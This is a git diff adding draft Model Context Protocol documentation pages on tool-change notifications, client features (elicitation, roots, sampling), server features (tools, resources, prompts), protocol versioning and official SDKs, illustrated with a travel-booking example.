+ After the acknowledgment, when the server's available tools change (for example, when new functionality becomes available, existing tools are modified, or tools become temporarily unavailable), the server delivers a notification on that stream:
+
+ ```json Notification theme={null}
+ {
+ "jsonrpc": "2.0",
+ "method": "notifications/tools/list_changed",
+ "params": {
+ "_meta": {
+ "io.modelcontextprotocol/subscriptionId": 4
+ }
+ }
+ }
+ ```
+
+ #### Key Features of MCP Notifications
+
+ 1. **No Response Required**: Notice there's no `id` field in the notification. This follows JSON-RPC 2.0 notification semantics where no response is expected or sent.
+
+ 2. **Opt-In Based**: This notification is only sent to clients that requested `"toolsListChanged": true` in their `subscriptions/listen` filter, and it is only available from servers that declared `"listChanged": true` in their tools capability (as shown in Step 1).
+
+ 3. **Subscription-ID Tagging**: Every notification on the stream carries `io.modelcontextprotocol/subscriptionId` in `_meta`. The value is the JSON-RPC ID of the `subscriptions/listen` request that opened the stream (`4` in this example), so clients can correlate each notification with the subscription that produced it.
+
+ 4. **Event-Driven**: The server decides when to send notifications based on internal state changes, making MCP connections dynamic and responsive.
+
+ 5. **Best Effort**: There are no guarantees that every notification will be sent or received, particularly across transport reconnects. Clients should also rely on polling to preserve freshness of results.
+
+ #### Client Response to Notifications
+
+ Upon receiving this notification, the client typically reacts by requesting the updated tool list. This creates a refresh cycle that keeps the client's understanding of available tools current:
+
+ ```json Request theme={null}
+ {
+ "jsonrpc": "2.0",
+ "id": 5,
+ "method": "tools/list",
+ "params": {
+ "_meta": {
+ "io.modelcontextprotocol/protocolVersion": "2026-07-28",
+ "io.modelcontextprotocol/clientInfo": {
+ "name": "example-client",
+ "version": "1.0.0"
+ },
+ "io.modelcontextprotocol/clientCapabilities": {
+ "elicitation": {}
+ }
+ }
+ }
+ }
+ ```
+
+ #### Why Notifications Matter
+
+ This notification system is crucial for several reasons:
+
+ 1. **Dynamic Environments**: Tools may come and go based on server state, external dependencies, or user permissions
+ 2. **Efficiency**: Clients don't need to poll for changes; they're notified when updates occur
+ 3. **Consistency**: Ensures clients always have accurate information about available server capabilities
+ 4. **Real-time Collaboration**: Enables responsive AI applications that can adapt to changing contexts
+
+ This notification pattern extends beyond tools to other MCP primitives, enabling comprehensive real-time synchronization between clients and servers.
+
+ #### How This Works in AI Applications
+
+ The AI application keeps a notification stream open for the changes it cares about. When one arrives, it immediately refreshes its tool registry and updates the LLM's available capabilities. This ensures that ongoing conversations always have access to the most current set of tools, and the LLM can dynamically adapt to new functionality as it becomes available.
+
+ ```python theme={null}
+ # Pseudo-code for AI application notification handling
+ async def follow_tool_changes(client):
+ async with client.listen(tools_list_changed=True) as sub:
+ async for _event in sub:
+ tools_response = await client.list_tools()
+ app.update_available_tools(client, tools_response.tools)
+ if app.conversation.is_active():
+ app.conversation.notify_llm_of_new_capabilities()
+ ```
+
+
diff --git a/content/mcp/docs/draft/learn/client-concepts.md b/content/mcp/docs/draft/learn/client-concepts.md
new file mode 100644
index 000000000..62d1cea79
--- /dev/null
+++ b/content/mcp/docs/draft/learn/client-concepts.md
@@ -0,0 +1,270 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding MCP clients
+
+MCP clients are instantiated by host applications to communicate with particular MCP servers. The host application, like Claude.ai or an IDE, manages the overall user experience and coordinates multiple clients. Each client handles one direct communication with one server.
+
+Understanding the distinction is important: the *host* is the application users interact with, while *clients* are the protocol-level components that enable server connections.
+
+## Core Client Features
+
+In addition to making use of context provided by servers, clients may provide several features to servers. These client features allow server authors to build richer interactions.
+
+| Feature | Explanation | Example |
+| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
+| **Elicitation** | Elicitation enables servers to request specific information from users during interactions, providing a structured way for servers to gather information on demand. | A server booking travel may ask for the user's preferences on airplane seats, room type or their contact number to finalize a booking. |
+| **Roots** | Roots allow clients to specify which directories servers should focus on, communicating intended scope through a coordination mechanism. Roots are [deprecated](/specification/draft/deprecated) as of protocol version `2026-07-28`. | A server for booking travel may be given access to a specific directory, from which it can read a user's calendar. |
+| **Sampling** | Sampling allows servers to request LLM completions through the client, enabling an agentic workflow. This approach puts the client in complete control of user permissions and security measures. Sampling is deprecated as of protocol version `2026-07-28`. | A server for booking travel may send a list of flights to an LLM and request that the LLM pick the best flight for the user. |
+
+### Elicitation
+
+Elicitation enables servers to request specific information from users during interactions, creating more dynamic and responsive workflows.
+
+#### Overview
+
+Elicitation provides a structured way for servers to gather necessary information on demand. Instead of requiring all information up front or failing when data is missing, servers can pause their operations to request specific inputs from users. This creates more flexible interactions where servers adapt to user needs rather than following rigid patterns.
+
+Elicitation supports two modes:
+
+* **Form mode**: The server asks the client to collect structured data from the user. The request includes a schema that the client uses to build an input form and validate the response.
+* **URL mode**: The server provides a URL for the user to open. The interaction happens out of band and its data never passes through the client, which makes this mode suitable for sensitive flows such as credential entry or third-party OAuth authorization.
+
+Elicitation follows the [Multi Round-Trip Requests](/specification/draft/basic/patterns/mrtr) (MRTR) pattern. When a server needs user input while processing a request such as `tools/call`, it responds with an `InputRequiredResult` whose `inputRequests` field carries one or more `elicitation/create` requests. The client gathers the input and retries the original request, attaching the collected `inputResponses` and echoing back any `requestState` the server included.
+
+**Elicitation flow:**
+
+```mermaid theme={null}
+sequenceDiagram
+ participant User
+ participant Client
+ participant Server
+
+ Client->>Server: tools/call (id: 1)
+ Note over Server: Server needs more information
+ Server-->>Client: InputRequiredResult with elicitation/create request
+
+ Note over Client,User: Human interaction
+ Client->>User: Present elicitation UI
+ User-->>Client: Provide requested information
+
+ Note over Client,Server: Retry request with user input
+ Client->>Server: tools/call (id: 2, inputResponses)
+
+ Note over Server: Continue processing with new information
+ Server-->>Client: Final result
+```
+
+The flow enables dynamic information gathering. Servers can request specific data when needed, users provide information through appropriate UI, and servers complete the retried request with the newly acquired context.
+
+**Elicitation request example (delivered inside `InputRequiredResult.inputRequests`):**
+
+```typescript theme={null}
+{
+ method: "elicitation/create",
+ params: {
+ mode: "form",
+ message: "Please confirm your Barcelona vacation booking details:",
+ requestedSchema: {
+ type: "object",
+ properties: {
+ confirmBooking: {
+ type: "boolean",
+ description: "Confirm the booking (Flights + Hotel = $3,000)"
+ },
+ seatPreference: {
+ type: "string",
+ enum: ["window", "aisle", "no preference"],
+ description: "Preferred seat type for flights"
+ },
+ roomType: {
+ type: "string",
+ enum: ["sea view", "city view", "garden view"],
+ description: "Preferred room type at hotel"
+ },
+ travelInsurance: {
+ type: "boolean",
+ default: false,
+ description: "Add travel insurance ($150)"
+ }
+ },
+ required: ["confirmBooking"]
+ }
+ }
+}
+```
+
+#### Example: Holiday Booking Approval
+
+A travel booking server demonstrates elicitation's power through the final booking confirmation process. When a user has selected their ideal vacation package to Barcelona, the server needs to gather final approval and any missing details before proceeding.
+
+The server elicits booking confirmation with a structured request that includes the trip summary (Barcelona flights June 15-22, beachfront hotel, total \$3,000) and fields for any additional preferences—such as seat selection, room type, or travel insurance options.
+
+As the booking progresses, the server elicits contact information needed to complete the reservation. It might ask for traveler details for flight bookings, special requests for the hotel, or emergency contact information.
+
+#### User Interaction Model
+
+Elicitation interactions are designed to be clear, contextual, and respectful of user autonomy:
+
+**Request presentation**: Clients display elicitation requests with clear context about which server is asking, why the information is needed, and how it will be used. The request message explains the purpose while the schema provides structure and validation.
+
+**Response options**: Users can provide the requested information through appropriate UI controls (text fields, dropdowns, checkboxes), decline to provide information with optional explanation, or cancel the entire operation. Clients validate responses against the provided schema before returning them to servers.
+
+**URL handling**: For URL mode, clients show the full URL and gather explicit consent before opening it, and never fetch the URL automatically. The client only learns whether the user consented. The interaction itself stays between the user and the target site.
+
+**Privacy considerations**: Servers must not use form mode to request sensitive information such as passwords, API keys, access tokens, or payment credentials. Those interactions belong in URL mode, which keeps the data out of band so it never passes through the client or the LLM context. Clients warn about suspicious requests and let users review form data before sending.
+
+### Roots
+
+
+ Roots are [deprecated](/specification/draft/deprecated) as of protocol version
+ `2026-07-28` and scheduled for removal. New implementations should pass
+ directories or files via tool parameters, resource URIs, or server
+ configuration instead.
+
+
+Roots define filesystem boundaries for server operations, allowing clients to specify which directories servers should focus on.
+
+#### Overview
+
+Roots are a mechanism for clients to communicate filesystem access boundaries to servers. They consist of file URIs that indicate directories where servers can operate, helping servers understand the scope of available files and folders. While roots communicate intended boundaries, they do not enforce security restrictions. Actual security must be enforced at the operating system level, via file permissions and/or sandboxing.
+
+**Root structure:**
+
+```json theme={null}
+{
+ "uri": "file:///Users/agent/travel-planning",
+ "name": "Travel Planning Workspace"
+}
+```
+
+Roots are exclusively filesystem paths and always use the `file://` URI scheme. They help servers understand project boundaries, workspace organization, and accessible directories. The roots list can change as users work with different projects or folders. Servers pick up the updated boundaries the next time they request the roots list.
+
+#### Example: Travel Planning Workspace
+
+A travel agent working with multiple client trips benefits from roots to organize filesystem access. Consider a workspace with different directories for various aspects of travel planning.
+
+The client provides filesystem roots to the travel planning server:
+
+* `file:///Users/agent/travel-planning` - Main workspace containing all travel files
+* `file:///Users/agent/travel-templates` - Reusable itinerary templates and resources
+* `file:///Users/agent/client-documents` - Client passports and travel documents
+
+When the agent creates a Barcelona itinerary, well-behaved servers respect these boundaries—accessing templates, saving the new itinerary, and referencing client documents within the specified roots. Servers typically access files within roots by using relative paths from the root directories or by utilizing file search tools that respect the root boundaries.
+
+If the agent opens an archive folder like `file:///Users/agent/archive/2023-trips`, the client adds it to the roots list, and the server sees the new boundary on its next `roots/list` request.
+
+For a complete implementation of a server that respects roots, see the [filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem) in the official servers repository.
+
+#### Design Philosophy
+
+Roots serve as a coordination mechanism between clients and servers, not a security boundary. The specification requires that servers "SHOULD respect root boundaries," and not that they "MUST enforce" them, because servers run code the client cannot control.
+
+Roots work best when servers are trusted or vetted, users understand their advisory nature, and the goal is preventing accidents rather than stopping malicious behavior. They excel at context scoping (telling servers where to focus), accident prevention (helping well-behaved servers stay in bounds), and workflow organization (such as managing project boundaries automatically).
+
+#### User Interaction Model
+
+Roots are typically managed automatically by host applications based on user actions, though some applications may expose manual root management:
+
+**Automatic root detection**: When users open folders, clients automatically expose them as roots. Opening a travel workspace allows the client to expose that directory as a root, helping servers understand which itineraries and documents are in scope for the current work.
+
+**Manual root configuration**: Advanced users can specify roots through configuration. For example, adding `/travel-templates` for reusable resources while excluding directories with financial records.
+
+### Sampling
+
+
+ Sampling is [deprecated](/specification/draft/deprecated) as of protocol
+ version `2026-07-28` and scheduled for removal. New implementations should
+ integrate directly with LLM provider APIs instead.
+
+
+Sampling allows servers to request language model completions through the client, enabling agentic behaviors while maintaining security and user control.
+
+#### Overview
+
+Sampling enables servers to perform AI-dependent tasks without directly integrating with or paying for AI models. Instead, servers can request that the client—which already has AI model access—handle these tasks on their behalf. This approach puts the client in complete control of user permissions and security measures. Because sampling requests occur within the context of other operations—like a tool analyzing data—and are processed as separate model calls, they maintain clear boundaries between different contexts, allowing for more efficient use of the context window.
+
+Sampling follows the same [Multi Round-Trip Requests](/specification/draft/basic/patterns/mrtr) flow described under [elicitation](#elicitation), with the `InputRequiredResult` carrying a `sampling/createMessage` request.
+
+Servers can also request tool use during sampling by including a `tools` array and an optional `toolChoice` field in the request. The tool definitions are scoped to that sampling request and do not need to correspond to tools the server exposes. Clients declare support through the `sampling.tools` capability, and servers must not send tool-enabled sampling requests to clients that have not declared it. See [sampling](/specification/draft/client/sampling#tools-in-sampling) in the specification for details.
+
+**Sampling flow:**
+
+```mermaid theme={null}
+sequenceDiagram
+ participant LLM
+ participant User
+ participant Client
+ participant Server
+
+ Client->>Server: tools/call (id: 1)
+ Note over Server: Server needs an LLM completion
+ Server-->>Client: InputRequiredResult with sampling/createMessage request
+
+ Note over Client,User: Human-in-the-loop review
+ Client->>User: Present request for approval
+ User-->>Client: Review and approve/modify
+
+ Note over Client,LLM: Model interaction
+ Client->>LLM: Forward approved request
+ LLM-->>Client: Return generation
+
+ Note over Client,User: Response review
+ Client->>User: Present response for approval
+ User-->>Client: Review and approve/modify
+
+ Note over Client,Server: Retry request with approved response
+ Client->>Server: tools/call (id: 2, inputResponses)
+ Server-->>Client: Final result
+```
+
+The flow ensures security through multiple human-in-the-loop checkpoints. Users review and can modify both the initial request and the generated response before the client retries the original request with it.
+
+**Request parameters example:**
+
+```typescript theme={null}
+{
+ messages: [
+ {
+ role: "user",
+ content: {
+ type: "text",
+ text: "Analyze these flight options and recommend the best choice:\n" +
+ "[47 flights with prices, times, airlines, and layovers]\n" +
+ "User preferences: morning departure, max 1 layover"
+ }
+ }
+ ],
+ modelPreferences: {
+ hints: [{
+ name: "claude-sonnet-4-20250514" // Suggested model
+ }],
+ costPriority: 0.3, // Less concerned about API cost
+ speedPriority: 0.2, // Can wait for thorough analysis
+ intelligencePriority: 0.9 // Need complex trade-off evaluation
+ },
+ systemPrompt: "You are a travel expert helping users find the best flights based on their preferences",
+ maxTokens: 1500
+}
+```
+
+#### Example: Flight Analysis Tool
+
+Consider a travel booking server with a tool called `findBestFlight` that uses sampling to analyze available flights and recommend the optimal choice. When a user asks "Book me the best flight to Barcelona next month," the tool needs AI assistance to evaluate complex trade-offs.
+
+The tool queries airline APIs and gathers 47 flight options. It then requests AI assistance to analyze these options: "Analyze these flight options and recommend the best choice: \[47 flights with prices, times, airlines, and layovers] User preferences: morning departure, max 1 layover."
+
+The client initiates the sampling request, allowing the AI to evaluate trade-offs—like cheaper red-eye flights versus convenient morning departures. The tool uses this analysis to present the top three recommendations.
+
+#### User Interaction Model
+
+While not a requirement, sampling is designed to allow human-in-the-loop control. Users can maintain oversight through several mechanisms:
+
+**Approval controls**: Sampling requests may require explicit user consent. Clients can show what the server wants to analyze and why. Users can approve, deny, or modify requests.
+
+**Transparency features**: Clients can display the exact prompt, model selection, and token limits, allowing users to review AI responses before they return to the server.
+
+**Configuration options**: Users can set model preferences, configure auto-approval for trusted operations, or require approval for everything. Clients may provide options to redact sensitive information.
+
+**Security considerations**: Both clients and servers must handle sensitive data appropriately during sampling. Clients should implement rate limiting and validate all message content. The human-in-the-loop design ensures that server-requested AI interactions cannot compromise security or access sensitive data without explicit user consent.
diff --git a/content/mcp/docs/draft/learn/server-concepts.md b/content/mcp/docs/draft/learn/server-concepts.md
new file mode 100644
index 000000000..d502dcced
--- /dev/null
+++ b/content/mcp/docs/draft/learn/server-concepts.md
@@ -0,0 +1,287 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding MCP servers
+
+MCP servers are programs that expose specific capabilities to AI applications through standardized protocol interfaces.
+
+Common examples include file system servers for document access, database servers for data queries, GitHub servers for code management, Slack servers for team communication, and calendar servers for scheduling.
+
+## Core Server Features
+
+Servers provide functionality through three building blocks:
+
+| Feature | Explanation | Examples | Who controls it |
+| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ | --------------- |
+| **Tools** | Functions that your LLM can actively call, and decides when to use them based on user requests. Tools can write to databases, call external APIs, modify files, or trigger other logic. | Search flights Send messages Create calendar events | Model |
+| **Resources** | Passive data sources that provide read-only access to information for context, such as file contents, database schemas, or API documentation. | Retrieve documents Access knowledge bases Read calendars | Application |
+| **Prompts** | Pre-built instruction templates that tell the model to work with specific tools and resources. | Plan a vacation Summarize my meetings Draft an email | User |
+
+We will use a hypothetical scenario to demonstrate the role of each of these features, and show how they can work together.
+
+### Tools
+
+Tools enable AI models to perform actions. Each tool defines a specific operation with typed inputs and outputs. The model requests tool execution based on context.
+
+#### How Tools Work
+
+Tools are schema-defined interfaces that LLMs can invoke. MCP uses JSON Schema for validation. Each tool performs a single operation with clearly defined inputs and outputs. Tools may require user consent prior to execution, helping to ensure users maintain control over actions taken by a model.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| ------------ | ------------------------ | -------------------------------------- |
+| `tools/list` | Discover available tools | Array of tool definitions with schemas |
+| `tools/call` | Execute a specific tool | Tool execution result |
+
+**Example tool definition:**
+
+```typescript theme={null}
+{
+ name: "searchFlights",
+ description: "Search for available flights",
+ inputSchema: {
+ type: "object",
+ properties: {
+ origin: { type: "string", description: "Departure city" },
+ destination: { type: "string", description: "Arrival city" },
+ date: { type: "string", format: "date", description: "Travel date" }
+ },
+ required: ["origin", "destination", "date"]
+ }
+}
+```
+
+#### Example: Travel Booking
+
+Tools enable AI applications to perform actions on behalf of users. In a travel planning scenario, the AI application might use several tools to help book a vacation:
+
+**Flight Search**
+
+```
+searchFlights(origin: "NYC", destination: "Barcelona", date: "2024-06-15")
+```
+
+Queries multiple airlines and returns structured flight options.
+
+**Calendar Blocking**
+
+```
+createCalendarEvent(title: "Barcelona Trip", startDate: "2024-06-15", endDate: "2024-06-22")
+```
+
+Marks the travel dates in the user's calendar.
+
+**Email notification**
+
+```
+sendEmail(to: "team@work.com", subject: "Out of Office", body: "...")
+```
+
+Sends an automated out-of-office message to colleagues.
+
+#### User Interaction Model
+
+Tools are model-controlled, meaning AI models can discover and invoke them automatically. However, MCP emphasizes human oversight through several mechanisms.
+
+For trust and safety, applications can implement user control through various mechanisms, such as:
+
+* Displaying available tools in the UI, enabling users to define whether a tool should be made available in specific interactions
+* Approval dialogs for individual tool executions
+* Permission settings for pre-approving certain safe operations
+* Activity logs that show all tool executions with their results
+
+### Resources
+
+Resources provide structured access to information that the AI application can retrieve and provide to models as context.
+
+#### How Resources Work
+
+Resources expose data from files, APIs, databases, or any other source that an AI needs to understand context. Applications can access this information directly and decide how to use it - whether that's selecting relevant portions, searching with embeddings, or passing it all to the model.
+
+Each resource has a unique URI (e.g., `file:///path/to/document.md`) and declares its MIME type for appropriate content handling.
+
+Resources support two discovery patterns:
+
+* **Direct Resources** - fixed URIs that point to specific data. Example: `calendar://events/2024` - returns calendar availability for 2024
+* **Resource Templates** - dynamic URIs with parameters for flexible queries. Example:
+ * `travel://activities/{city}/{category}` - returns activities by city and category
+ * `travel://activities/barcelona/museums` - returns all museums in Barcelona
+
+Resource Templates include metadata such as title, description, and expected MIME type, making them discoverable and self-documenting.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| -------------------------- | ------------------------------- | -------------------------------------- |
+| `resources/list` | List available direct resources | Array of resource descriptors |
+| `resources/templates/list` | Discover resource templates | Array of resource template definitions |
+| `resources/read` | Retrieve resource contents | Resource data with metadata |
+| `subscriptions/listen` | Monitor resource changes | Stream of update notifications |
+
+To watch specific resources for changes, a client sends a [`subscriptions/listen`](/specification/draft/basic/patterns/subscriptions) request with the resource URIs listed in the `resourceSubscriptions` filter. The server delivers `notifications/resources/updated` on the resulting stream whenever a watched resource changes.
+
+#### Example: Getting Travel Planning Context
+
+Continuing with the travel planning example, resources provide the AI application with access to relevant information:
+
+* **Calendar data** (`calendar://events/2024`) - Checks user availability
+* **Travel documents** (`file:///Documents/Travel/passport.pdf`) - Accesses important documents
+* **Previous itineraries** (`trips://history/barcelona-2023`) - References past trips and preferences
+
+The AI application retrieves these resources and decides how to process them, whether selecting a subset of data using embeddings or keyword search, or passing raw data directly to the model.
+
+In this case, it provides calendar data, weather information, and travel preferences to the model, enabling it to check availability, look up weather patterns, and reference past travel preferences.
+
+**Resource Template Examples:**
+
+```json theme={null}
+{
+ "uriTemplate": "weather://forecast/{city}/{date}",
+ "name": "weather-forecast",
+ "title": "Weather Forecast",
+ "description": "Get weather forecast for any city and date",
+ "mimeType": "application/json"
+}
+
+{
+ "uriTemplate": "travel://flights/{origin}/{destination}",
+ "name": "flight-search",
+ "title": "Flight Search",
+ "description": "Search available flights between cities",
+ "mimeType": "application/json"
+}
+```
+
+These templates enable flexible queries. For weather data, users can access forecasts for any city/date combination. For flights, they can search routes between any two airports. When a user has input "NYC" as the `origin` airport and begins to input "Bar" as the `destination` airport, the system can suggest "Barcelona (BCN)" or "Barbados (BGI)".
+
+#### Parameter Completion
+
+Dynamic resources support parameter completion. For example:
+
+* Typing "Par" as input for `weather://forecast/{city}` might suggest "Paris" or "Park City"
+* Typing "JFK" for `flights://search/{airport}` might suggest "JFK - John F. Kennedy International"
+
+The system helps discover valid values without requiring exact format knowledge.
+
+#### User Interaction Model
+
+Resources are application-driven, giving them flexibility in how they retrieve, process, and present available context. Common interaction patterns include:
+
+* Tree or list views for browsing resources in familiar folder-like structures
+* Search and filter interfaces for finding specific resources
+* Automatic context inclusion or smart suggestions based on heuristics or AI selection
+* Manual or bulk selection interfaces for including single or multiple resources
+
+Applications are free to implement resource discovery through any interface pattern that suits their needs. The protocol doesn't mandate specific UI patterns, allowing for resource pickers with preview capabilities, smart suggestions based on current conversation context, bulk selection for including multiple resources, or integration with existing file browsers and data explorers.
+
+### Prompts
+
+Prompts provide reusable templates. They allow MCP server authors to provide parameterized prompts for a domain, or showcase how to best use the MCP server.
+
+#### How Prompts Work
+
+Prompts are structured templates that define expected inputs and interaction patterns. They are user-controlled, requiring explicit invocation rather than automatic triggering. Prompts can be context-aware, referencing available resources and tools to create comprehensive workflows. Similar to resources, prompts support parameter completion to help users discover valid argument values.
+
+**Protocol operations:**
+
+| Method | Purpose | Returns |
+| -------------- | -------------------------- | ------------------------------------- |
+| `prompts/list` | Discover available prompts | Array of prompt descriptors |
+| `prompts/get` | Retrieve prompt details | Full prompt definition with arguments |
+
+#### Example: Streamlined Workflows
+
+Prompts provide structured templates for common tasks. In the travel planning context:
+
+**"Plan a vacation" prompt:**
+
+```json theme={null}
+{
+ "name": "plan-vacation",
+ "title": "Plan a vacation",
+ "description": "Guide through vacation planning process",
+ "arguments": [
+ { "name": "destination", "type": "string", "required": true },
+ { "name": "duration", "type": "number", "description": "days" },
+ { "name": "budget", "type": "number", "required": false },
+ { "name": "interests", "type": "array", "items": { "type": "string" } }
+ ]
+}
+```
+
+Rather than unstructured natural language input, the prompt system enables:
+
+1. Selection of the "Plan a vacation" template
+2. Structured input: Barcelona, 7 days, \$3000, \["beaches", "architecture", "food"]
+3. Consistent workflow execution based on the template
+
+#### User Interaction Model
+
+Prompts are user-controlled, requiring explicit invocation. The protocol gives implementers freedom to design interfaces that feel natural within their application. Key principles include:
+
+* Easy discovery of available prompts
+* Clear descriptions of what each prompt does
+* Natural argument input with validation
+* Transparent display of the prompt's underlying template
+
+Applications typically expose prompts through various UI patterns such as:
+
+* Slash commands (typing "/" to see available prompts like /plan-vacation)
+* Command palettes for searchable access
+* Dedicated UI buttons for frequently used prompts
+* Context menus that suggest relevant prompts
+
+## Bringing Servers Together
+
+The real power of MCP emerges when multiple servers work together, combining their specialized capabilities through a unified interface.
+
+### Example: Multi-Server Travel Planning
+
+Consider a personalized AI travel planner application, with three connected servers:
+
+* **Travel Server** - Handles flights, hotels, and itineraries
+* **Weather Server** - Provides climate data and forecasts
+* **Calendar/Email Server** - Manages schedules and communications
+
+#### The Complete Flow
+
+1. **User invokes a prompt with parameters:**
+
+ ```json theme={null}
+ {
+ "prompt": "plan-vacation",
+ "arguments": {
+ "destination": "Barcelona",
+ "departure_date": "2024-06-15",
+ "return_date": "2024-06-22",
+ "budget": 3000,
+ "travelers": 2
+ }
+ }
+ ```
+
+2. **User selects resources to include:**
+ * `calendar://my-calendar/June-2024` (from Calendar Server)
+ * `travel://preferences/europe` (from Travel Server)
+ * `travel://past-trips/Spain-2023` (from Travel Server)
+
+3. **AI processes the request using tools:**
+
+ The AI first reads all selected resources to gather context - identifying available dates from the calendar, learning preferred airlines and hotel types from travel preferences, and discovering previously enjoyed locations from past trips.
+
+ Using this context, the AI then executes the prompt provided by the AI application. In our example, the AI application exposes the weather tools from the connected MCP weather server to the model. Because weather can affect travel plans, the AI chooses to call `checkWeather()` when interpreting the prompt.
+
+ As a result the AI executes a series of tools:
+
+ * `searchFlights()` - Queries airlines for NYC to Barcelona flights
+ * `checkWeather()` - Retrieves climate forecasts for travel dates
+
+ The AI then uses this information to create the booking and following steps, requesting approval from the user where necessary:
+
+ * `bookHotel()` - Finds hotels within the specified budget
+ * `createCalendarEvent()` - Adds the trip to the user's calendar
+ * `sendEmail()` - Sends confirmation with trip details
+
+**The result:** Through multiple MCP servers, the user researched and booked a Barcelona trip tailored to their schedule. The "Plan a Vacation" prompt guided the AI to combine Resources (calendar availability and travel history) with Tools (searching flights, booking hotels, updating calendars) across different servers—gathering context and executing the booking. A task that could have taken hours was completed in minutes using MCP.
diff --git a/content/mcp/docs/draft/learn/versioning.md b/content/mcp/docs/draft/learn/versioning.md
new file mode 100644
index 000000000..7908fb30e
--- /dev/null
+++ b/content/mcp/docs/draft/learn/versioning.md
@@ -0,0 +1,66 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Versioning
+
+The Model Context Protocol uses string-based version identifiers following the format
+`YYYY-MM-DD`, to indicate the last date backwards incompatible changes were made.
+
+
+ The protocol version will *not* be incremented when the
+ protocol is updated, as long as the changes maintain backwards compatibility. This allows
+ for incremental improvements while preserving interoperability.
+
+
+## Revisions
+
+Revisions may be marked as:
+
+* **Draft**: in-progress specifications, not yet ready for consumption.
+* **Current**: the current protocol version, which is ready for use and may continue to
+ receive backwards compatible changes.
+* **Final**: past, complete specifications that will not be changed.
+
+The **current** protocol version is [**2025-11-25**](/specification/2025-11-25/).
+
+## Feature States
+
+Individual features of the specification may additionally be marked as
+**Deprecated** under the
+[feature lifecycle and deprecation policy](/community/feature-lifecycle):
+the feature remains part of the specification, but is scheduled for removal.
+Deprecated features document a migration path (or state that none is required)
+and remain in the specification for at least twelve months, or at least
+ninety days under the policy's
+[expedited-removal exception](/community/feature-lifecycle#expedited-removal),
+before they become eligible for removal, after which they may be **Removed**
+in a future revision.
+
+Features that are currently Deprecated are listed in the
+[deprecated features registry](/specification/draft/deprecated).
+
+## Negotiation
+
+Every request declares the protocol version it is using via the
+`io.modelcontextprotocol/protocolVersion` key in its
+[`_meta`](/specification/draft/basic/index#meta) field, and the server accepts or
+rejects each request independently. On Streamable HTTP, the same value is also carried
+in the
+[`MCP-Protocol-Version` header](/specification/draft/basic/transports/streamable-http#protocol-version-header).
+Clients and servers **MAY** support multiple protocol versions simultaneously.
+
+If the server does not support the requested version, it responds with an
+[`UnsupportedProtocolVersionError`](/specification/draft/basic/versioning#protocol-version-negotiation)
+listing the versions it does support. The client can then retry the request with a
+mutually supported version, or surface an error to the user if none exists.
+
+Clients that want to select a version up front can call
+[`server/discover`](/specification/draft/server/discover), a mandatory RPC that
+returns the server's supported protocol versions, capabilities, and identity in a
+single request. Calling it is optional: a client is free to send any request directly
+and handle a version error if one comes back.
+
+For interoperability with servers and clients that implement the
+handshake-based protocol revisions (`2025-11-25` and earlier), see
+[Backward Compatibility](/specification/draft/basic/versioning#backward-compatibility-with-initialization-based-versions).
diff --git a/content/mcp/docs/draft/sdk.md b/content/mcp/docs/draft/sdk.md
new file mode 100644
index 000000000..f3d0b4995
--- /dev/null
+++ b/content/mcp/docs/draft/sdk.md
@@ -0,0 +1,51 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# SDKs
+
+> Official SDKs for building with Model Context Protocol
+
+Build MCP servers and clients using our official SDKs. SDKs are classified into tiers based on feature completeness, protocol support, and maintenance commitment. Learn more about [SDK tiers](/community/sdk-tiers).
+
+## Available SDKs
+
+| SDK | Repository | Tier |
+| :----------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------- | ------------------------------------------------: |
+| [TypeScript](https://ts.sdk.modelcontextprotocol.io) | [modelcontextprotocol/typescript-sdk](https://github.com/modelcontextprotocol/typescript-sdk) | Tier 1 |
+| [Python](https://py.sdk.modelcontextprotocol.io) | [modelcontextprotocol/python-sdk](https://github.com/modelcontextprotocol/python-sdk) | Tier 1 |
+| [C#](https://csharp.sdk.modelcontextprotocol.io) | [modelcontextprotocol/csharp-sdk](https://github.com/modelcontextprotocol/csharp-sdk) | Tier 1 |
+| [Go](https://go.sdk.modelcontextprotocol.io) | [modelcontextprotocol/go-sdk](https://github.com/modelcontextprotocol/go-sdk) | Tier 1 |
+| [Java](https://java.sdk.modelcontextprotocol.io) | [modelcontextprotocol/java-sdk](https://github.com/modelcontextprotocol/java-sdk) | Tier 2 |
+| [Rust](https://rust.sdk.modelcontextprotocol.io) | [modelcontextprotocol/rust-sdk](https://github.com/modelcontextprotocol/rust-sdk) | Tier 2 |
+| Swift | [modelcontextprotocol/swift-sdk](https://github.com/modelcontextprotocol/swift-sdk) | Tier 3 |
+| [Ruby](https://ruby.sdk.modelcontextprotocol.io) | [modelcontextprotocol/ruby-sdk](https://github.com/modelcontextprotocol/ruby-sdk) | Tier 3 |
+| [PHP](https://php.sdk.modelcontextprotocol.io) | [modelcontextprotocol/php-sdk](https://github.com/modelcontextprotocol/php-sdk) | Tier 3 |
+| [Kotlin](https://kotlin.sdk.modelcontextprotocol.io) | [modelcontextprotocol/kotlin-sdk](https://github.com/modelcontextprotocol/kotlin-sdk) | Tier 3 |
+
+See [SDK Tiering System](/community/sdk-tiers) for details on what each tier means.
+
+## Getting Started
+
+Each SDK provides the same functionality but follows the idioms and best practices of its language. All SDKs support:
+
+* Creating MCP servers that expose tools, resources, and prompts
+* Building MCP clients that can connect to any MCP server
+* Local and remote transport protocols
+* Protocol compliance with type safety
+
+Visit the SDK page for your chosen language to find installation instructions, documentation, and examples.
+
+## Next Steps
+
+Ready to start building with MCP? Choose your path:
+
+
+
+ Learn how to create your first MCP server
+
+
+
+ Create applications that connect to MCP servers
+
+
